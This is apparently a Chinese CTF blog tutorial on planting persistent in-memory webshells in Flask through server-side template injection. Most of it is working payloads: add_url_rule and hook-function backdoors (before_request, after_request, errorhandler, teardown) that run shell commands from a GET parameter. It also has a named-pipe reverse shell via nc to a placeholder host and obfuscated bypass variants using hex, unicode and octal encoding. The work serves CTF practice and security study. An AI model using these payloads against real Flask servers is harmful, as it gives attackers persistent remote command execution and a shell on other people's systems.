本期推荐
泪桥 -伍佰
III - Athletics
前言
众所周知,我们的题目可以分为出网与不出网两种模式,要是遇到可以出网的情况,最好还是弹shell,但是若是不能出网,内存马是我们的保底解
但是也是有特殊情况的,比如在下文我们要介绍的一种钩子函数:teardown_request,由于这种钩子函数无回显的特性,我们可以选择弹shell(也可以重定向到某个目录下)
内存马与flask
我们一般常见的python框架有Django和Flask(不知道为啥拉蒙特徐那么爱出bottle),python的内存马中一般就是利用flask框架的ssti来进行注入,一般来说都在渲染的时候没对用户传输的代码进行过滤,所以用户可以用类似ssti的方式注入内存马,得到shell
前置知识
flask的请求上下文管理机制
在我们request进入flask的时候,就会实例化一个request context,这个时候就会分成两种上下文,一种是请求上下文(request context),另外一种是应用上下文(session context)
上下文的结构均为stack的栈结构。大家都知道栈这种数据结构的特点,也就是后进先出,可以想象成一盒泡腾片,最后放进去的泡腾片会最先被拿出来
这个request context实例化后就拥有了一个栈的全部的特性了,在实例化后会被push到栈_request_ctx_stack中,根据这层特性就可以通过获取栈顶元素的方法来获取当前的请求
应用上下文:
current_app:当前运行的flask实例
g:用于在一次请求中临时存储数据的对象(如数据库连接)
请求上下文:
request:封装了http的请求信息
session:用户会话对象,基于cookie
钩子的区别
钩子分为两种
- 全局钩子(所有请求)
- 模块钩子(蓝图钩子)
POC环境搭建
上网找了一个现成的
1 | from flask import Flask, request, render_template_string |
可以直接在vps上试试看
老版内存马
第一种payload
在flask基础开发那里我有提到过一种添加url路由的方法,也就是add_url_rule,可以直接根据你给的参数名生成路由
1 | url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']}) |
很长一串啊,想起来了被pyjail支配的恐怖日子,丢给AI整理一手
1 | # 从 url_for 的全局变量里拿到必要对象 |
逐一分析解释
1.
1 | builtins = url_for.__globals__['__builtins__'] |
拿到flask模块的全局命名空间,然后把其中的builtins类丢给了同名变量
1 | request_ctx_stack = url_for.__globals__['_request_ctx_stack'] |
这两个也是同理,上文都介绍过了这两个东西
2.
后续从builtins中拿出来eval
add_url_rule()详解
前文有提到过相关内容,主要有5个参数
1 | add_url_rule(rule, endpoint=None, view_func=None, provide_automatic_options=None,options) |
1 | 1. rule就可以简单的理解为url路径 |
- 看看我们的老版payload,在视图函数处定义了一个lamnda匿名函数
1 | lambda: __import__('os') # 路由对应的视图函数 |
这里就很显然了
这里定义了一个匿名函数,os->popen->拿到了栈的最顶端请求request对象(前文也有提到),然后就用cmd这个get参数,构造了一个系统命令,然后执行输出
老版内存马这里的lambda写在了视图函数处,所以说当中国add_url_rule被成功执行的时候,用户一旦切到所插入的/shell的页面,就会执行这个lambda
所以可以达到执行whoami
- 后面那段就是局部变量字典之流
1 | { |
第二种payload
似乎是用了和之前XYCTF中拉蒙特徐说过的那种特性
也就是说一个模块其中的某个部分,如os.a这样子的拿出来重新赋值,然后再调用的时候就是我们赋的值那样(当然我感觉只是类似而已,并非相同)
下面这段内容摘自sun师傅的博客,我感觉讲的非常好,没有什么可以补充的了
1 | 众所周知,sys.modules['__main__']为当前运行的主模块(也就是正在执行的.py文件)对应的模块对象 |
所以我们可以去更改main里面的app(一般都是app),把路由绑定上lambda函数,最后实现打入内存马
1 | sys.modules['__main__'].__dict__['app'].add_url_rule('/shell','shell',lambda :__import__('os').popen('dir').read()) |
导入模块若成功,那么打入内存马应该也是没什么问题的
新版内存马
关于特殊装饰器(钩子函数)
装饰器的内容在我们前面开发的那篇博客中就已经说过了
常见的特殊装饰器有:
- before_request
- after_request
- errorhandler
- teardown_appcontext
- teardown_request
before_request方法
这个方法可以让我们在每次的请求之前进行一些操作,在flask的基础开发中,一般是用这个方法来进行一些预处理操作,比如身份验证
跟进源码
1 |
|
大段大段的注释
看到最后有一个 before_request_funcs
这个就是before_request装饰器的底层逻辑,作用就是把我定义的函数注册为一个请求前钩子函数
在这里before_request实际上调用的就是self.before_request_funcs.setdefault(None, []).append(f)
意思就是
- 检查self.before_request_funcs.setdefault字典中是否有一个键为None的条目
- 若没有None键,就在字典中创建它,并且把它的值设置为一个空列表
- 无论None键是否存在,都会把f添加到这个列表中,然后before_request的时候调用
这个f就是访问值,我们把f定义为一个lambda函数,那么每次请求前就可以被调用
这个函数在app中,我们可以通过sys.modules来夺取(这个在上面我们也有提到过)
payload
1 | {{url_for.__globals__.__builtins__['eval']("sys.modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda: __import__('os').popen(__import__('flask').request.args.get('a')).read())")}}&a=whoami |
这里通过动态导入 sys 模块,获取当前 Flask 应用实例 app,并将一个匿名函数添加到 app 的请求前处理函数列表中,利用before_request装饰器触发自定义后门函数执行命令
包子王的那个先导一遍app再打payload,我感觉是挺麻烦的
然后再看两条其实意义也差不多的payload
1 | url_for.__globals__.__builtins__['eval']("sys.modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda:__import__('os').popen('whoami').read())") |
其中第二条payload中
1 | __import__('sys').modules['__main__'].__dict__['app'] |
这个可以获取当前的flask实例,那你自然就可以得到before_request_funcs.setdefault
after_request方法
我英语并不好,但是看到了名字也大概清楚是做什么用的
依然爆炒源码
1 |
|
长得和before_request差不多
payload
1 | url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']}) |
但是众所周知
after和before的区别就是,after之后就没有response了,而before有,所以我们before的内存马可以那么构造
而after,仅通过lambda无法对原始传进来的response进行修改后再返回,所以需要重新生成一个response对象,然后再返回这个response
把payload整理一下
1 | url_for.__globals__['__builtins__']['eval']( |
仔细的理解一下中间的lambda表达式
1 | lambda resp: #传入resp参数 |
三元表达式
1 | A if condition else B |
即:若condition为真,返回A,否则B
接下来要清楚,exec返回的结果都是None,所以and后面是恒真的(之前出题的时候也有遇到过,索性记下来了)
1 | CmdResp=make_response(os.popen(request.args.get(\'cmd\')).read()) |
这其中为什么字符串中要有\呢,因为我们写的payload是一个字符串形式的python代码,那么转义就很有必要了,这里就是起到转义的作用
这最后再else resp是因为after_request是要定义一个返回值的,否则回报错,所以我们这里万一没传参也要返回一个response
errorhandler方法
这个可以用于自定义404页面的回显,flask404的时候,我们用errorhandler定义的自定义的错误处理函数就会处理错误,并且返回适当的响应
看看源码
1 |
|
f就是我们定义的处理函数,但是我们还是得去跟进看一下register_error_handler
1 | def register_error_handler( |
这里就是直接把结果赋值给f回显到错误的页面
payload
1 | {{ url_for.__globals__.__builtins__.exec("global exc_class; global code; exc_class, code = app._get_exc_class_and_code(404); app.error_handler_spec[None][code][exc_class] = lambda a: __import__('os').popen(request.args.get('cmd')).read()",{'request': url_for.__globals__['request'],'app': url_for.__globals__['current_app']})}} |
teardown_appcontext
teardown_request
在每个请求之后要运行的函数,每一次的请求都会执行一次
在每个请求的最后阶段执行的,即在视图函数处理完成并生成响应后,或者在请求中发生未处理的异常时,都会执行这个 hook,他执行的事迹是在响应已经确认之后,但是最终发送给客户端之前
1 | def teardown_request(self, f: T_teardown) -> T_teardown: |
怎么又长这样?
要注意的是这个函数是没有回显的,所以我们可以利用反弹shell或者说写入文件
弹shell payload
1 | url_for.__globals__.__builtins__['eval']("sys.modules['__main__'].__dict__['app'].teardown_request_funcs.setdefault(None, []).append(lambda error: __import__('os').system('mkfifo /tmp/fifo; /bin/sh -i < /tmp/fifo | nc xxxxxxxxxxx xxxx > /tmp/fifo; rm /tmp/fifo'))") |
写文件payload
1 | url_for.__globals__['__builtins__']['eval']("sys.modules['__main__'].__dict__['app'].teardown_request_funcs.setdefault(None, []).append(lambda error: __import__('os').popen('ls > 1.txt').read())") |
teardown_appcontext
其实和teardown_request差不多,但是不能动态接受get参数
同样需要弹shell和写文件
1 | {{url_for.__globals__.__builtins__['eval']("sys.modules['__main__'].__dict__['app'].teardown_appcontext_funcs.append(lambda error: __import__('os').popen('echo 2222 > 1.txt').read())")}} |
一些bypass
摘自ChaMD5安全团队和the0n3师傅的博客
1 | ByPass |
原Payload
1 | url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/h3rmesk1t', 'h3rmesk1t', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('shell')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']}) |
变形Payload-1
1 | request.application.__self__._get_data_for_json.__getattribute__('__globa'+'ls__').__getitem__('__bui'+'ltins__').__getitem__('ex'+'ec')("app.add_url_rule('/h3rmesk1t', 'h3rmesk1t', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('shell', 'calc')).read())",{'_request_ct'+'x_stack':get_flashed_messages.__getattribute__('__globa'+'ls__').pop('_request_'+'ctx_stack'),'app':get_flashed_messages.__getattribute__('__globa'+'ls__').pop('curre'+'nt_app')}) |
变形Payload-2
1 | get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("__builtins__")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u0065\u0076\u0061\u006c")("app.add_ur"+"l_rule('/h3rmesk1t', 'h3rmesk1t', la"+"mbda :__imp"+"ort__('o"+"s').po"+"pen(_request_c"+"tx_stack.to"+"p.re"+"quest.args.get('shell')).re"+"ad())",{'\u005f\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u005f\u0063\u0074\u0078\u005f\u0073\u0074\u0061\u0063\u006b':get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u005f\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u005f\u0063\u0074\u0078\u005f\u0073\u0074\u0061\u0063\u006b"),'app':get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u0063\u0075\u0072\u0072\u0065\u006e\u0074\u005f\u0061\u0070\u0070")}) |
使用os.wrap的内置函数exec打入内存马
原始payload
1 | ''['__class__']['__base__']['__subclasses__']()[137]['__init__']['__globals__']['__builtins__']['exec']("sys.modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda: __import__('os').popen(__import__('flask').request.args.get('a')).read())") |
八进制payload
1 | ''['\137\137\143\154\141\163\163\137\137']['\137\137\142\141\163\145\137\137']['\137\137\163\165\142\143\154\141\163\163\145\163\137\137']()[137]['\137\137\151\156\151\164\137\137']['\137\137\147\154\157\142\141\154\163\137\137']['\137\137\142\165\151\154\164\151\156\163\137\137']['\145\170\145\143']("\163\171\163.\155\157\144\165\154\145\163['\137\137\155\141\151\156\137\137'].\137\137\144\151\143\164\137\137['\141\160\160'].\142\145\146\157\162\145\137\162\145\161\165\145\163\164\137\146\165\156\143\163.\163\145\164\144\145\146\141\165\154\164(\116\157\156\145, []).\141\160\160\145\156\144(\154\141\155\142\144\141: \137\137\151\155\160\157\162\164\137\137('\157\163').\160\157\160\145\156(\137\137\151\155\160\157\162\164\137\137('\146\154\141\163\153').\162\145\161\165\145\163\164.\141\162\147\163.\147\145\164('\141')).\162\145\141\144())") |
总结
这篇我也鸽了10多天才补上,最近有点贪玩了(不好)